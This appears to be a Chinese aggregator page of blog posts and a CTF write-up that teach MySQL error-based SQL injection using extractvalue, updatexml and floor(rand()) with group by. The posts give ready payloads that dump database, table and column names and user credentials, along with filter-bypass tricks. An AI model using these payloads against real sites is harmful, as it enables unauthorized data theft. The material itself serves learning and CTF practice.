精华内容
下载资源
问答
  • 报错注入

    2020-01-14 22:14:20
    SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。 函数 描述 RAND() 返回 0 到 1 的随机数 FLOOR(x) 返回小于或等于 x 的最大整数 所谓的公式: and ...

    报错注入

    这里只有关于floor()rand()group by类型的

    SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

    函数 描述
    RAND() 返回 0 到 1 的随机数
    FLOOR(x) 返回小于或等于 x 的最大整数

    所谓的公式:

    and (select 1 from (select count(*), concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
    

    虚拟表

    group by时, 会创建一个虚拟表统计主键

    语句执行的时候会建立一个虚拟表,整个工作流程大致如下。开始查询数据时,读取数据库数据,查看虚拟表是否存在,不存在则插入新记录, 存在则count􏰃􏰨􏰄􏰀(*)字段直接加

    key count(*)

    当数据行数大于3, floor(rand(0)*2)必定报错

    使用floor(rand(0)*2)时,返回的值一直为011011

    1. 查询前默认会建立空虚拟表
    key count(*)
    1. 取第一条记录,执行floor(rand(0)*2),根据011011当顺序,第一个数据是0 (表中不存在),所以将floor(rand(0)*2)插在key中
    key count(*)
    floor(rand(0)*2)

    根据顺序,第二个数据是1,所以表变为

    key count(*)
    1 1

    继续计算,发现第三个数据为1,表变为

    key count(*)
    1 2
    1. 再次计算时,数据又是0()表中不存在,所以floor(rand(0)*2)被插入表中
    key count(*)
    1 2
    floor(rand(0)*2)

    计算后发现为floor(rand(0)*2)的下一个值为1,但是主键是不能重复的,所以1无法被插入,数据库报错.

    当数据行数大于3, floor(rand()*2)随机报错

    不同于floor(rand(0)*2),floor(rand()*2)的值是随机的,所以只有当主键有重复时,才有可能报错.

    展开全文
  • sql注入之报错注入

    千次阅读 多人点赞 2019-06-04 20:23:46
    报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误和concat+rand()+group_by()导致主键重复 xpath语法错误 利用xpath语法错误来进行报错...

    报错注入

    报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。

    报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误concat+rand()+group_by()导致主键重复


    xpath语法错误

    利用xpath语法错误来进行报错注入主要利用extractvalueupdatexml两个函数。
    使用条件:mysql版本>5.1.5

    extractvalue函数

    函数原型:extractvalue(xml_document,Xpath_string)
    正常语法:extractvalue(xml_document,Xpath_string);
    第一个参数:xml_document是string格式,为xml文档对象的名称
    第二个参数:Xpath_string是xpath格式的字符串
    作用:从目标xml中返回包含所查询值的字符串

    第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

    pyload:id='and(select extractvalue("anything",concat('~',(select语句))))

    例如:

    id='and(select extractvalue(1,concat('~',(select database()))))
    id='and(select extractvalue(1,concat(0x7e,@@version)))
    

    针对mysql数据库:

    查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
    爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
    爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
    爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
    

    注:

    • ① 0x7e=’~’
    • ② concat(‘a’,‘b’)=“ab”
    • ③ version()=@@version
    • ④ ‘~‘可以换成’#’、’$'等不满足xpath格式的字符
    • ⑤ extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位

    updatexml

    函数原型:updatexml(xml_document,xpath_string,new_value)
    正常语法:updatexml(xml_document,xpath_string,new_value)
    第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
    第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

    第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同
    payload:id='and(select updatexml("anything",concat('~',(select语句())),"anything"))

    例如:

    'and(select updatexml(1,concat('~',(select database())),1))
    'and(select updatexml(1,concat(0x7e,@@database),1))
    

    同样,针对mysql:

    爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
    爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
    爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
    爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
    



    concat+rand()+group_by()导致主键重复

    这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

    rand():

    生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字

    floor():

    对任意正或者负的十进制值向下取整

    通常利用这两个函数的方法是floor(rand(0))*2 ,其会生成0和1两个数

    group by

    group by是根据一个或多个列对结果集进行分组的sql语句,其用法为:
    SELECT column_name, aggregate_function(column_name)
    FROM table_name
    WHERE column_name operator value
    GROUP BY column_name

    常见的payload为:

    'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足大的表" group by x)a--+
    

    例如:

    'union select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a--+
    
    利用information_schema.tables表,相似的还可以用information_schema.columns等
    

    为了使结构能够更方便的查看,可以在concat()中添加一些内容

    'union select 1 from (select count(*),concat((select user())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
    

    之后还是将select语句改为一般的注入语句就可以:

    爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
    爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
    爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
    爆数据:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
    

    不能使用group_concat函数,所以用limit语句来限制查询结果的列数

    参考:

    https://xz.aliyun.com/t/253
    http://vinc.top/2017/03/23/%E3%80%90sql%E6%B3%A8%E5%85%A5%E3%80%91%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/
    http://lawlietweb.com/2017/11/12/error-base/

    展开全文
  • SQL报错注入

    2019-12-14 16:22:45
    报错注入的原理分析SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用。 2. 什么时候需要用到报错注入? 一般...

    1. 什么是报错注入?

    报错注入的原理分析SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用。

    2. 什么时候需要用到报错注入?

    一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解;

    3. 报错公式

    AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
    //爆数据库
    
    AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(TABLE_NAME AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=’DATABASE_NAME’ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)   
    //爆表名,可以利用group_concat爆多个数据
    
    AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(COLUMN_NAME AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’TABLE_NAME’ LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)    
    //爆字段,可以利用group_concat爆多个数据
    
    AND(SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(USER) AS CHAR),0x7e)) FROM DATABASE.TABLE LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) 
    //爆数据,但是一次只能爆一个
    

    4. 公式解析

    floor()是取整数
    rand()01之间产生一个随机数
    rand(0)*2将取02的随机数 
    floor(rand()*2)有两条记录就会报错
    floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
    count(*)是用来统计结果的,相当于刷新一次结果
    group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)1
    在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次
    
    展开全文
  • sql 报错注入

    2020-12-22 09:33:32
    报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。 xpath语法错误(局限性) extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的...

    sql报错注入

    ​ 报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

    xpath语法错误(局限性)

    extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:

    updatexml

    函数原型:updatexml(xml_document,xpath_string,new_value)
    正常语法:updatexml(xml_document,xpath_string,new_value)
    第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
    第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

    第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

    例题:sqli-labs

    Less-5?id=1' or updatexml(1,concat(0x7e,database(),0x7e),1)--+       爆库
    

    1608557238748

    Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+       爆表
    

    1608557368922

    Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+                                        爆列
    

    1608557617454

    Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+                                                      爆数据                             
    

    1608557862959

    PS:updatexml的最大长度是32位的,所以有所局限,如果长度超过了32位就不会被显示出来。

    总结:

    爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
    
    爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
    
    爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
    
    爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
    

    extractvalue函数

    函数原型:extractvalue(xml_document,Xpath_string)
    正常语法:extractvalue(xml_document,Xpath_string);
    第一个参数:xml_document是string格式,为xml文档对象的名称
    第二个参数:Xpath_string是xpath格式的字符串
    作用:从目标xml中返回包含所查询值的字符串

    查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
    
    爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
    
    爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
    
    爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
    
    

    BUUCTF-[极客大挑战 2019]HardSQL(报错注入)

    1、用bp fuzz后,union|order by|等号|空格|substr等被过滤,空格没有被过滤,大致有个印象

    2、爆当前的数据库名:
    空格绕过:用括号()包起来就行

    admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21
    

    ->库名:geek
    3、爆表名:
    等号绕过:用like替换

    admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21
    

    ->表名:H4rDsq1
    4、爆字段名:

    admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21
    

    ->字段:id,username,password
    5、

    'or(extractvalue(1,concat('~',(select(password)from(H4rDsq1)))))#
    

    flag{9f09946d-4c83-40f5-982
    没出全
    这时候就要想到mysql的一些函数,substr,left,right
    注意:substr被过滤了

    admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21
    

    结果:XPATH syntax error: ‘3-40f5-9828-9593ee5f3f4c}

    拼接后结果:
    flag{9f09946d-4c83-40f5-9828-9593ee5f3f4c}

    展开全文
  • 2.报错注入条件 查询不回显错误的信息不回显内容,会打印错误信息 update、insert等语句,会打印错误信息 3.报错注入方法 凡是可以让错误信息显示的函数(语句),都能实现报错注入,这里我们列举1种。 floor...
  • 报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。 write up 打开页面后还是熟悉的界面,输入1后提示我们查询正确: 然后输入1': 爆出了错误,并且将错误回显在了页面...
  • 10.12CTFHub 报错注入

    2020-10-12 23:39:35
    报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。 当注入点不回显数据库查询的数据,那么通过一般的注入手段是无法返回相关数据库的信息,但是,如果查询时输入错误...
  • 报错注入的原理分析

    2019-08-30 16:45:57
    SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用。 使用报错注入的前提: 页面上没有显示位但是有sql语句...
  • 文章目录报错注入原理:updatexml()函数extractvalue()函数floor()报错注入floor()报错注入原理(个人理解):参考文章:WriteUp方法一(使用updatexml报错注入)方法二(使用extractvalue报错注入)方法三(使用...
  • 报错注入 2020-10-04

    2020-10-05 20:05:12
    报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中 xpath语法错误 利用xpath语法错误来进行报错注入; 主要利用extractvalue()和updatexml()两个函数; 利用条件:mysql...
  • 2.报错注入漏洞产生的条件 1)参数用户可控:前端传入的参数内容由用户控制 2)参数带入数据库的查询:传入的参数拼接到 SQL 语句,并且带入数据库的查询 3)对用户输入的数据没有做合法性的判断 4)后台对数据库的...
  • sql报错注入简单介绍

    2020-08-12 15:05:30
    sql报错注入 updatexml() UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 。 第二个参数:XPath_string (Xpath格式的字符串) ,如果...
  • 报错注入原理

    2020-11-20 10:50:26
    count(*):返回匹配指定条件的行数 concat():用于连接两个字符串(上面的语句中就是以@符连接的) floor(rand(0)):生成有规律的序列 0110110(前六位) x:x是对concat连接的两个字符串起的别名,相当于 as x group ...
  • floor()、extractvalue()、updatexml() 函数都是与报错注入有关 二.updatexml函数 使用方式: UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称。 第...
  • 2.注入条件 (1)数据库使用了gbk编码. (2)使用了过滤函数,将用户输入的单引号转义(mysql_real_escape_string,addslashes) 这样被处理后的sql语句中,单引号不再具有‘作用’,仅仅是‘内容’而已,换句话说,...
  • 1,报错注入就是人为制造错误条件,使得查询结果能够出现在错误的信息中。 2,输入1,显示正确。 3,输入1’,报错。 4,查询当前使用的数据库:1 union select updatexml(1, concat(0x7e, database(),0x7e),1)。可以...
  • sql注入——sqlserver报错注入

    千次阅读 2020-02-12 23:25:25
    注入条件是必须有报错信息 用到函数convert(int,(select top 1 db_name() )),其含义是将第二个参数的值转换成第一个参数的int类型 一、打开文件,如下图所示,有报错信息: 二、查看数据库 输入:...
  • 报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。 题目: 靶机环境:输入1时,显示正确 输入一个随意的字符串后,显示错误。 求数据库名:输入1 union select ...
  • 代码解释 exp()数学函数,用于计算e的x次方的函数。 约束条件 5.5<mysql版本<5.6 原理 exp是以e为底的指数函数, 但是,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错...从而实现了报错注入
  • 都为空间数据储存函数,其余函数的报错原理与GeometryCollection()原理相同 MYSQL 中的空间数据存储 MySQL支持以下数据类型: Geometry:可以存储所有的几何类型 ...约束条件 同geometrycollection() 通过polygon ()报错
  • MySQL updatexml报错注入

    千次阅读 2018-10-13 17:16:39
    updatexml () 函数 updatexml(XML_document, XPath_string, new_value); 参数 描述 XML_document String格式,为XML文档对象的名称,文中为... String格式,替换查找到的符合条件的数...
  • 报错注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的...
  • MYSQL 通过Join报错注入

    2021-01-18 11:51:17
    约束条件 在知到表名的前提下才能操作 注入语句 and(select * from (select * from 表名 a join 表名 b using(已知的字段1,已知的字段2,……)c)) 举例 select * from (select * from users a join users b )c; ...
  • 首先了解下updatexml()函数 UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc ...而我们的注入语句为: updatexml(1,
  • 联合查询会实现跨库跨表查询,会极大减少SQL 注入的成本。 联合查询有两个限制条件 两条SQL 语句的查询结果具有相同的列数 两条SQL 语句相同位置的列具有相同的数据类型 联合查询通常用在数据库的内容...
  • sql注入之——sqlserver报错注入

    千次阅读 2020-02-12 20:52:50
    条件 必须有错误回显 函数 convert(int,(select top 1 db_name() )):将第二个参数的值转换成第一个参数的int类型 查看数据库 ?id=1 and 1=convert(int,(select top 1 db_name())) 查看数据库有哪些表 ?id=1 and 1=...
  • 报错函数 floor() cancat() 将符合条件的所有数据进行拼接,0x7e为‘~’,0x3a为‘:’ 将产生的虚拟表的主键名换为name:select concat(0x7e,database(),0x7e)name或者select concat(0x7e,database(),0x7e) as ...
  • UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc ...第三个参数:new_value,String格式,替换查找到的符合条件的数据 作...
  • 函数解释: UPDATEXML (XML_document, ...第三个参数:new_value,String格式,替换查找到的符合条件的数据 作用:此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 ne
  • 报错注入 首先要去了解一下一些函数: flow函数是向下取整。如果我们将rand*2之后,它的结果其实就会有0和1两个结果。 这张表它其实就是默认会存在,而且这张数据表中的行数是很大的,后面我们也会去讲...

空空如也

空空如也

1 2 3 4 5 ... 11
收藏数 215
精华内容 86
热门标签
关键字:

报错注入条件